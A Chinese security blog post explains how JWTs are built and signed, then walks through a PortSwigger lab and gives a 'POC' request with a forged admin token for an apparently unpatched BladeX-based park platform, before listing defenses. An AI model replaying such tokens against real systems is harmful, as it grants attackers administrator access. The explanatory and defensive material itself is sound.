JWT的原理
什么是JWT
JWT(JSON Web Token)是一种用于在各方之间作为JSON对象安全地传输信息的开放标准。信息可以被验证和信任,因为它是经过数字签名的。JWT通常用于身份验证和信息交换。
JWT由三个部分组成,用点号(.)分隔:
-
Header(头部)
-
Payload(负载)
-
Signature(签名)
这三个部分分别进行Base64Url编码后,用点号(.
)连接在一起构成一个JWT。
知识补充:Base64Url和Base64
Base64Url编码是Base64编码的一种变体,专门用于URL和文件名中,以避免特殊字符带来的问题。它与标准的Base64编码的主要区别在于字符集和填充字符。
-
字符集不同:
-
标准Base64编码使用字符
+
和/
。 -
Base64Url编码使用字符
-
和_
,以避免URL中的特殊字符问题。
-
-
去掉填充字符:
-
标准Base64编码通常使用
=
作为填充字符,以确保编码后的字符串长度是4的倍数。 -
Base64Url编码则去掉了填充字符
=
,从而避免了URL解析中的问题。
-
Header
Header通常包含两个部分:签名算法和令牌类型。例如:
{
"alg": "HS256",
"typ": "JWT"
}
这个头部表示使用HMAC SHA-256算法签名,并声明这是一个JWT。
Payload
Payload是JWT的主体部分,包含声明(claims)。声明是有关实体(通常是用户)和其他数据的声明。声明分为三类:
-
Registered claims(注册声明)
-
Public claims(公共声明)
-
Private claims(私有声明)
例如:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
Signature
签名部分用于验证消息在传输过程中是否未被篡改。签名是用header中指定的算法生成的,包括编码后的header、编码后的payload和一个密钥。例如,对于HMAC SHA-256算法,签名如下:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
举例(JWT完整流程)
假设你现在有一个应用,需要用户登录后获取访问权限。
1. 用户登录
用户在登录页面输入用户名和密码,点击登录。服务器接收到登录请求并验证用户的凭证。
2. 生成JWT
如果用户的凭证(账号密码)正确,服务器将生成一个JWT。假如服务器将生成的JWT为:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
让我们详细分解这个JWT的生成过程,一共三个部分,每个部分被点号(.)截断
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
base64url解码一下得到
{
"alg": "HS256",
"typ": "JWT"
}
这个头部表示我们将使用HMAC SHA-256算法进行签名,并且这是一个JWT。
第二部分:Payload
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
base64url解码一下得到
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
这个负载部分包含了一些声明,比如用户ID(sub
)、用户名(name
)和签发时间(iat
)。
第三部分:Signature
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
第三部分签名的生成是由第一部分和第二部分组成的
我们使用密钥(secret
)来生成签名。签名是使用以下方法生成的:
-
将编码后的Header和Payload用点号(
.
)连接在一起:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
-
使用HMAC SHA-256算法和密钥
secret
对上述字符串进行签名:import hmac
import hashlib
import base64
header_payload = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
secret = "secret"
signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
signature_base64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
print(signature_base64)生成的第三部分签名是:
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
最后,将编码后的Header、Payload和生成的Signature用点号(.
)连接在一起,形成完整的JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
3. 返回JWT
服务器将生成的JWT返回给客户端。客户端可以将JWT存储在本地存储(Local Storage)或Cookie中。
4. 携带JWT进行请求
在用户登录后的每次请求中,客户端会在请求头中携带JWT,例如:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
5. 服务器验证JWT
服务器接收到请求后,会验证JWT的签名是否正确。验证过程如下:
-
从JWT中提取出header和payload部分。
-
使用同样的签名密钥和header中的算法,重新生成签名。
-
将重新生成的签名与JWT中的签名进行比较,如果相同,则验证通过。
6. 响应请求
如果JWT有效且未过期,服务器处理请求并返回响应。
在线平台
JWT在线构造和解构的平台: https://jwt.io/
JWT攻防
常见攻击方法
-
暴力破解签名密钥:攻击者可以使用暴力破解的方法猜测JWT的签名密钥。如果签名密钥比较弱,这种攻击可能会成功。
-
算法替换攻击:如果服务器在验证JWT时不严格检查头部的alg字段,攻击者可以将alg字段改为none,绕过签名验证。
-
伪造Token:如果服务器使用对称加密算法(如HS256),并且密钥泄露,攻击者可以使用密钥伪造有效的JWT。
靶场
靶场一:实验室:通过未经验证的签名绕过 JWT 身份验证 |网络安全学院 (portswigger.net)
根据题目要求得知,需使用账号+密码:wiener : peter登录,后访问/admin页面,根据要求删除carlos用户即可通关。
登录成功后,在bp里面看数据包,可发现JWT数据。
来这里解码一下JSON Web Tokens - jwt.io
发现Payload中当前登录用户为wiener。改包请求为/admin
意思就是只允许administrator访问
那将JWT数据中Payload的wiener修改成administrator后继续尝试请求。
/admin/delele?username=colos 删除用户
实战通杀(附带POC)
某智慧园区管理平台,因为还没有修复,这里就打码了。
一眼顶真,用的blade的框架,
poc:
GET /api/blade-user/info HTTP/1.1
Host: ***
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
分析一下这个poc
解析JWT中的Header、Payload和Signature来了解其内容和含义。一步一步来分解和解释这个JWT。
1. 分离JWT的各个部分
JWT由三部分组成:Header、Payload和Signature,这些部分通过点号(.
)分隔。给定的JWT是:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
分离后得到:
-
Header:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
-
Payload:
eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0
-
Signature:
RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
2. 解码Base64Url
使用Base64Url解码Header和Payload:
Header
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
解码后得到:
{
"alg": "HS256",
"typ": "JWT"
}
Payload
eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0
解码后得到:
{
"tenant_id": "000000",
"user_name": "admin",
"real_name": "管理员",
"authorities": ["administrator"],
"client_id": "saber",
"role_name": "administrator",
"license": "powered by bladex",
"post_id": "1123598817738675201",
"user_id": "1123598821738675201",
"role_id": "1123598816738675201",
"scope": ["all"],
"nick_name": "管理员",
"oauth_id": "",
"detail": {
"type": "web"
},
"account": "admin"
}
3. 分析解码后的数据
Header部分
Header部分指定了JWT的元数据:
-
alg
:签名算法,这里是HS256
(HMAC SHA-256) -
typ
:令牌类型,这里是JWT
Payload部分
Payload部分包含了JWT的实际数据,包含多个字段:
-
tenant_id
: "000000" - 租户ID -
user_name
: "admin" - 用户名 -
real_name
: "管理员" - 真实姓名 -
authorities
: ["administrator"] - 权限列表,这里是administrator
-
client_id
: "saber" - 客户端ID -
role_name
: "administrator" - 角色名 -
license
: "powered by bladex" - 许可证信息 -
post_id
: "1123598817738675201" - 职位ID -
user_id
: "1123598821738675201" - 用户ID -
role_id
: "1123598816738675201" - 角色ID -
scope
: ["all"] - 作用域 -
nick_name
: "管理员" - 昵称 -
oauth_id
: "" - OAuth ID -
detail
: {"type": "web"} - 详细信息,类型为web
-
account
: "admin" - 账号
Signature部分
Signature部分用于验证JWT的完整性和真实性。它是通过以下方式生成的:
-
将Header和Payload用点号连接起来:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0
-
使用HMAC SHA-256算法和一个密钥对上述字符串进行签名,生成Signature。
Signature的计算需要密钥,而给定的JWT并未提供密钥,因此不能验证这个JWT的Signature部分。
没密钥!!! 下播
防御措施
-
使用强密钥:确保签名密钥足够强,难以被暴力破解。
-
严格验证算法:在服务器端严格验证alg字段,拒绝none算法。
-
使用非对称加密:使用非对称加密算法(如RS256),即使公钥泄露,攻击者也无法伪造JWT。
-
定期更换密钥:定期更换签名密钥以增加安全性。
-
设置适当的过期时间:设置合理的JWT过期时间,减少被盗用的风险。
通过了解JWT的工作原理和常见的渗透手段,可以有效地加强JWT的安全性,防止信息泄露和未经授权的访问。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)